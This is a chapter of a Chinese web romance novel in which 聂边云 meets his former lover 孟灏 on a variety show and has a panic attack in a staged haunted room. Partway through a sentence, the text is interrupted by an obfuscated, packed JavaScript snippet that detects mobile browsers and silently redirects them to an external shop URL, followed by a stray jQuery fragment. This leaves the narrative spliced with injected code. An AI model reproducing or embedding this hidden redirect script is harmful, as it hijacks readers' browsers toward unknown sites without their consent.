两人加了联系方式之后晏塘就识趣的离开了,结果刚走到门口,就被门口的人抱了个满怀。
“哥!昨天晚上你去哪了?我去你家找你,结果你一晚上没回来。”
晏塘只是顺了顺小孩有些炸毛的头发,并没有接话。
昨晚聂边云拉他的那一下,猝不及防又完全没收力道。等他反应过来就是腿骨处被撞断了般剧痛,但在场的两位爷不会给他喘息的时间。
晏塘在聂边云走了之后顾不得腿伤就拉着孟灏道歉,只有两位爷不把怒火迁就到他的身上,他的日子才会好过。他跟着孟灏已经很久了,早就知道孟灏最吃惯他七分像聂少的脸应该有什么表情。解决完孟少的事情晏塘又紧赶慢赶的打听到了聂少的公司,给孟少的白月光道歉,也试着给自己谋一条出路。
等到事情都往他设想的最好的方向发展,外面的天光早已大亮。
小孩发丝间被染上金光,和现在狼狈的自己简直是云泥之别。
晏塘不理解,前路坦荡的少年,为什么非要和自己这样身陷囹圄的人牵扯上,但他不得不承认,自己推不开这样的小孩,只好无奈的说:
“徐杨你等了一晚上?”
徐杨松开了禁锢着晏塘的手,低着头只给晏塘漏出自己的发旋。
“不算一晚上,后半夜找不到你,我就回去加班了,想着把今天的工作结束,就早点来找你。”
晏塘揪着徐杨的头发迫使他抬起头来,小孩一低头不敢看自己就是在心虚。但晏塘不好在聂少的公司前面说什么,牵着人回了家。
聂边云站在落地窗前静静地看着,正被牵着的人察觉到了聂边云的目光。纯良呆萌的眼神一瞬间收住,抬头犀利的看着聂边云在的位置。
聂边云虽然知道落地窗是单面的,但还是觉得那个人一定看见了自己。
“聂总,许先生来找您了。我已经招待人到休息室了。”
“好,我知道了。派人查查晏塘旁边的人。”
聂边云接过助理手上的咖啡,咖啡上的奶泡莹白绵密,遮住了下面深褐色的咖啡。聂边云抿了口,才漏出了咖啡的颜色。紧接着他往休息室走去。
“聂总的唱片公司弄得挺不错的,你是不是早就打算好回国了?”
聂边云懒得搭理许川澹,瘫在了许川澹对面的沙发上说。
“这么大早来干嘛?和我一样来当牛马了?你要是来我们公司,我愿意给你开三倍工资怎么样?”
许川澹看着聂边云没正形的坐姿,抬腿踹了一脚。
“我是跟你说正事的,昨天晚上才告诉我你那个狗前任就是孟灏。之前和你说的综艺,郎心闲那边的特邀嘉宾就是孟灏。”
聂边云听完许川澹说的,第一反应就是。
果然,人起早了就是晦气。但可转瞬之间,脑海里的一切都褪得干净,四下恍若在一片茫茫白霭之中。
他到底,应该怎么把刻骨铭心的仇人当成的无关痛痒的陌生人。
“实在不行不去了,违约的事情我来解决。”
聂边云听完许川澹的话摇了摇头,他终究还是要面对的,不管他做没做好准备,之后他们两个一定会纠缠不休,直到他看着孟灏消沉的那一刻。
等到休息室都清空,聂边云才放在手里的的咖啡,任由自己滑落到桌子和沙发间狭小的缝隙中。昨晚看见孟灏的余韵在黑夜里爬满聂边云,他形容不出来那是什么感觉,只知道自己的脑海一边是过去的甜蜜,一边又是刻骨铭心的伤害。两种感情碰撞牵扯,直接让聂边云昏了头,等到月亮撤下伪装的屏障,聂边云感受到了眼角的泪痕和满唇的咬伤。
面具而已,孟灏能带着十几年。他难道,还不会吗?
话虽如此,可真到在演播室看到孟灏的那一天,聂边云的心还是忍不住颤了颤。
对方没有再穿西装,针织衫加上牛仔裤。简单的装扮好像让时光倒流回了从前。
“小号,别穿你的皮衣了。那天穿个针织衫让我看看呗。”
“好。”
十年前的承诺如今兑现,可聂边云却没有了欣赏的兴致。
聂边云不再看着孟灏,他松开了不知不觉中掐红的手心。右手的沙发陷下去了一块,熟悉的松木香飘到聂边云的边上。聂边云忍不住打了个喷嚏,眼眶不自觉的溢出了泪花。
而右手贴心的递来了纸巾,聂边云当着镜头不好撇掉。只好假模假样的擦了擦眼角,又在看不见的角落抽了张湿巾,细细的擦着捏过纸巾的手指。
聂边云的动作被孟灏尽收眼底,暗处的讨厌比那天撕心揭底的恨还让人无所适从。
“欢迎大家来到观察室,有些人是我们上一期熟悉的面孔,而有些人大家还可能比较陌生。就请大家依次来打个招呼吧。”
聂边云有一搭没一搭的听着别人的介绍,身体悄无声息的想离孟灏远一点。却突然被拉住了衣角,聂边云假笑着看着咸猪手的主人,入目的却是一个靠枕。
十余年乐器房里坚挺的脊背换来了聂边云现在的成就,也给他带来了久坐就会腰痛的毛病。
聂边云以为孟灏不会在乎了,却没想到他递来了靠枕。
聂边云虚情假意的道了谢,秉持着白给的不要白不要的原则还是熨帖的靠了上去。
于是演播厅里出现了一对格格不入的组合,一个眯着眼靠在沙发上,连眼神不曾落到摄像机上、一个翘着二郎腿不正经的笑着,两位爷不像在录节目,反倒像在家里般的自在。
但导演不得不承认,两人的播出效果确实要比其他人好的多。也就放任了两人,专心安排着节目的环节。
聂边云看着许川澹在镜头里装模做样,简直想要录下来当面处刑许川澹。许川澹这个人平时也安静,但绝对不是镜头里单纯懵懂的这个职场新人,他可是个黑芝麻糊,现在却装的像白面团子一样。
聂边云正看着,突然屏幕一黑。
耳边响起主持人略带浮夸的声音:
“屏幕怎么黑了?导演说是视频原件被他的助理落在后面的化妆间了,我们请边云和孟灏帮我们去拿一下吧。”
聂边云点点头,没有管孟灏是不是跟上,径直朝着主持人指的门走去,原来这就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935131|213708||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是许川澹说的特殊环节,也不知道门内藏着什么玄机,但看主持人看戏的样子,肯定不是什么好东西就对了。
聂边云走到门前,刚要开门就被人拉到了后面。入目的成了可恨的宽肩窄腰,偏偏那人单手插着兜,从背影就看出一副欠揍的摸样。
聂边云没有管主持人的起哄,面无表情的抱着胸。这死人在屏幕前还挺会装,聂边云倒要看看孟灏进门之后还会不会是这幅模样。
孟灏推开了门,开门的瞬间没有他想象中的惊吓。随着两人进门,倒是门里面的布置,让两个人都有些发怵。
昏黄的灯光忽明忽暗,屋内本来整洁有序的化妆桌变成了一张张带着刮痕的课桌。墙面泛着冷调的灰,散布在各处的镜子上鲜红色的液体缓慢的往下滴着。两人一时间都不敢说话,空气里只有不知哪传来的滴答滴答的声音。
聂边云咽了口口水,接着闪烁的灯光,自顾自寻找着。孟灏看了聂边云一会,才在各个角落摸索着。
空气闷得发僵,指尖翻动纸张、挪动摆件的细微声响,在寂静里被放得格外清晰。聂边云偶尔和孟灏的视线相撞,又飞快错开。这是两个人第一次这么平静的共处一室,没有争吵、没有算计。只是聂边云在看见孟灏黑暗里仍然上扬的嘴角和明亮的眼神的时候,盘算着上千种这种神态消失的办法。
突然,雷声、雨声、风声在一瞬间炸响,熟悉的寒意慢慢爬上聂边云的双腿,他一时间被困住了手脚,动弹不得。
密闭的空间里声响越来越大,渐渐又出现了尖叫声,戏谑声。聂边云再也忍受不了,刚想抱头蹲下,起码在摄像机面前,护住一点点自己狼狈的模样。就被人抱紧了怀里,聂边云来不及反应,就已经把脸埋进了正规律震动的胸膛。
孟灏在听到声音的一瞬间就已经暗叫不好,立马跑到了聂边云的身边。他第一次亲眼见到聂边云受刺激时的模样,聂边云的样子比他想象的还要痛不欲生。还算高大的身躯正要团成小小的一圈,试图不让一丝空气破开自己的屏障。
孟灏把人抱在怀里,轻轻地拍着聂边云的后腰。此刻已经顾不上镜头,他只知道,自己的爱人正在他的怀里对抗着他施加的痛苦。
聂边云意识到这是谁的怀抱的时候,抬头狠狠地咬上了那人的锁骨。他没有想要感谢孟灏现在的救场,而是想让孟灏尝到自己现在千倍万倍的痛苦。
聂边云不知道孟灏从开始到现在的关照到底算什么?算是对当时施加在自己身上的事情的补偿吗?
孟灏凭什么觉得自己能补偿他?
聂边云努力克制着发颤的身体,牙齿却狠狠地加重了力道。
他不要补偿,他要一点点撕下孟灏的血肉,要让孟灏刻骨铭心、这辈子痛不欲生。
孟灏轻哼了一声,胳膊圈的又紧了几分。聂边云此刻肯定不想让任何人看见,但要想结束,还得找到u盘。
孟灏就这样抱着聂边云寻找,终于在角落找到了u盘。屋内的声音也戛然而止,头顶的灯光恢复了正常。
聂边云猛地推开孟灏,但是松木香已经侵染了他的全身。